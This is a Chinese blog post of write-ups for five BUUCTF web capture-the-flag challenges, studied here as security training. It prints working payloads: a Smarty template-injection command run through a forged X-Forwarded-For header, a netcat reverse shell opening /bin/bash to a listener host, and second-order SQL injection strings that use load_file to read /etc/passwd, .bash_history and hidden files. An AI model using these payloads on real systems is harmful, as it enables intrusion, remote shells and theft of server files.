BUUCTF__web题解合集(十)

前言

  • 真的无所谓吗???

题目

1、[CISCN2019 华东南赛区]Web11

  • 首先很明显的ssti模板注入,注入点在xff头,加上X-Forwarded-For:127.0.0.1后,右上角的ip会变化,输入{{2*2}}时回显是 4,
  • 然后第二步就是确认模板选择注入payload。底部给出提示。为smarty模板,可以找到相关资料
    在这里插入图片描述
  • 已知能执行 {if }{/if}标签,比如执行 phpinfo() ,可以用{if phpinfo()}{/if}
  • 找到flag环境变量提示flag不在这里,就可能是有包含flag的文件。执行系统函数{if system('cat /flag')}{/if}成功得到flag,不过在注释里。做题时还以为执行失败了。。。
  • 两点,第一点找到为ssti模板注入,并且确定为smarty模板。第二点就是执行正确的payload找到flag。
  • 应该算基础的ssti注入,连过滤都没有。

2、[BJDCTF 2nd]Schrödinger

  • 这应该算是脑洞题吧,页面全选或者查看源代码能有提示
    在这里插入图片描述
  • 尝试访问的话有一个登录页面,尝试sql注入无果。
  • 返回继续看。提示你删除test.php。在cheak时抓包,发现cookie 中存在两个参数,有一个dXNlcg参数,后面的值能base64解密后发现为时间戳。随便修改后比如说1就弹出一个av号,b站搜av号就能找到flag。
    在这里插入图片描述
  • 感觉就是脑洞题。

3、[BJDCTF 2nd]duangShell

  • 首先第一步提示了.swp源码泄露,访问/.index.php.swp下载文件,在linux下执行命令vim -r index.php.swp恢复文件得到源代码。因为.swp文件产生的原因就是vim编辑文件时的异常退出。

  • 然后考点是命令执行,存在过滤,无法直接读取flag文件。第二步就是弹shell

  • 关于弹shell,可以利用nc反弹shell。因为buu不出外网,开一小号在Basic分类中开一台Linux Labs。根据提示ssh连上。然后ifconfig查看内网地址
    在这里插入图片描述

  • 图中第一个174.1.80.221就是内网地址,然后在这台主机上监听一个端口,nc -lvvp 4455

  • 然后在题目中post传参nc另一台主机的内网地址就成功连上

    girl_friend=nc 174.1.80.221 4455 -e /bin/bash
    

在这里插入图片描述

  • 再执行cat /flag发现无回显,执行find / -name / flag找到flag所在位置,然后再cat 一下就行。
    在这里插入图片描述
  • 总结就是第一次接触反弹shell ,第一步源码泄露是常见的源码泄露的类型。注意点就是应该 nc 主机的内网地址。

4、[BSidesCF 2019]Futurella

  • F12出flag应该没有更简单的web题了吧。

5、[网鼎杯 2018]Comment

  • 首先,第一步.git源码泄露和恢复。很多工具都能得到源码文件,但因为源码不全需要利用.git目录恢复历史版本,而我用其它的工具GitHackGitHackerscrabble都没有成功恢复到.git目录。最后用之前做题时下载的一个GitHack改进版成功得到,但是我找不到原下载的地址了,就先上传到CSDN吧。卡了好久这里。
  • 恢复源代码,先恢复文件python GitHack.py url
  • 查看历史操作记录 git log --reflog
  • 版本恢复 git reset --hard commit
    在这里插入图片描述
  • 得到源代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>
  • 接下来是第二步,代码审计。第一点就是对于addslashes函数的转义过滤而言,在写入数据库时,不会讲增加的转义符\ 写入,比如说,单引号经过函数处理应该是\',写入时,还是'
    在这里插入图片描述
  • 同时,在本题中可以发现,category读取时没有经过函数处理直接填入sql语句,而在上面的输入就经过了函数处理。所以,当我们输入'111时,最后写入数据库还是'111,但在执行写入的sql语句时是被转义的\'111在,最终在读取时直接填入sql语句就能闭合前面的单引号,引发注入。
    在这里插入图片描述
  • 然后思考怎么来利用,因为有留言版相关内容都有回显,所以最好的方法就是让它回显我们需要的内容。
  • 第三步,二次注入。 利用多行注释/**/将后面输入的content注释掉,而在category存储时写入一个我们想要的content
  • 例如当我们的category=' ,content = database(),/*,在评论里提交*/#时,就能讲原有的content注释掉,而让content的值为数据库名称。#的作用是将后面的逗号注释,变灰部分就是注释。
    在这里插入图片描述
  • 留言前需要先登录,给出了账号,密码还缺少后面的三位,可以写个脚本爆破,或者盲猜666。

在这里插入图片描述

  • 继续尝试读表、字段。内容发现没有flag。

    ' ,content =(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,/* 
    
  • 最后通过user()可以得知服务是以 root 权限运行的,可以用load_file函数读取文件,最常见的etc/passwd文件。
    在这里插入图片描述

  • 能发现文件路径web服务路径。然后然后,可以读取.bash_history它是什么,它存储了当前用户输入过的历史命令。通过读取它来发现隐藏的文件。。。

    ', content=load_file('/home/www/.bash_history'),/*
    

在这里插入图片描述

  • 整理一下就是以下步骤

    cd /tmp/                   到 /tmp/目录下
    unzip html.zip             解压html.zip
     rm -f html.zip            删除html.zip
     cp -r html /var/www/      复制文件夹html 到 /var/www/目录下
     cd /var/www/html/          到 /var/www/目录下
     rm -f .DS_Store            删除 .DS_Store文件
     service apache2 start     重启apache2服务
    
  • 然后可以发现/tmp/html目录中.DS_Store原文件没被删除,它只删除了复制过去后的文件,而.DS_Store文件是Mac OS 操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,可能存放着其它文件。所以尝试读取它。直接读读不出来,那就加一个hex让它以16进制输出。

    ',content=(select hex(load_file('/tmp/html/.Ds_Store'))),/*
    
  • 可以得到一长串的16进制字符,将它转为ASCII字符,可以用WinHex新建一个文件,然后把16进制文件以ASCII Hex格式写入。
    在这里插入图片描述

  • 可以得到flag文件名
    在这里插入图片描述

  • 然后再去读取它,但是在原目录/tmp/html下读取的flag文件是假的。真正的flag文件在复制后的路径/var/www/html,并且flag在注释里,当然也可以像上面一样加一个hex让它以16进制字符串显示。

    ', content=(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
    

在这里插入图片描述

  • 结束,可以说是很复杂的题目了。。。第一步我就没了。。。后面的审计和实际注入也想不到。只能实际复现+理解了。

最后

  • 可能不是写的很清楚,如果有疑问的话,欢迎留言一起交流。
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
buuctfmisc是一个CTF比赛中的题目,涉及到网络分析工具Wireshark的使用。Wireshark是一款开源的网络协议分析工具,可以用于捕获和分析网络数据包。在buuctfmisc题目中,可能需要使用Wireshark来解析和分析给定的网络数据包,以获取关键信息或者解决问题。 具体的题解步骤可能因题目而异,但通常的解题思路如下: 1. 下载并安装Wireshark:首先需要从Wireshark官网下载并安装适你操作系统的版本。 2. 打开Wireshark并开始捕获数据包:打开Wireshark后,选择适的网络接口开始捕获数据包。可以通过点击"Capture"按钮或者使用快捷键Ctrl + E来开始捕获。 3. 分析捕获的数据包:Wireshark会将捕获到的数据包以列表形式展示出来。你可以通过点击每个数据包来查看其详细信息,包括源IP地址、目标IP地址、协议类型等。 4. 过滤数据包:如果题目要求只关注特定的数据包,你可以使用Wireshark提供的过滤功能来筛选出符条件的数据包。过滤条件可以根据协议、源IP地址、目标IP地址等进行设置。 5. 提取关键信息:根据题目要求,你可能需要从数据包中提取关键信息。Wireshark提供了多种功能来帮助你提取数据,比如导出数据包、导出特定协议的数据等。 6. 分析数据包内容:根据题目要求,你可能需要进一步分析数据包的内容。Wireshark可以解析多种协议,你可以查看每个数据包的协议栈、协议字段等信息。 7. 解决问题或回答题目:根据你对数据包的分析和提取的关键信息,你可以解决问题或者回答题目。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值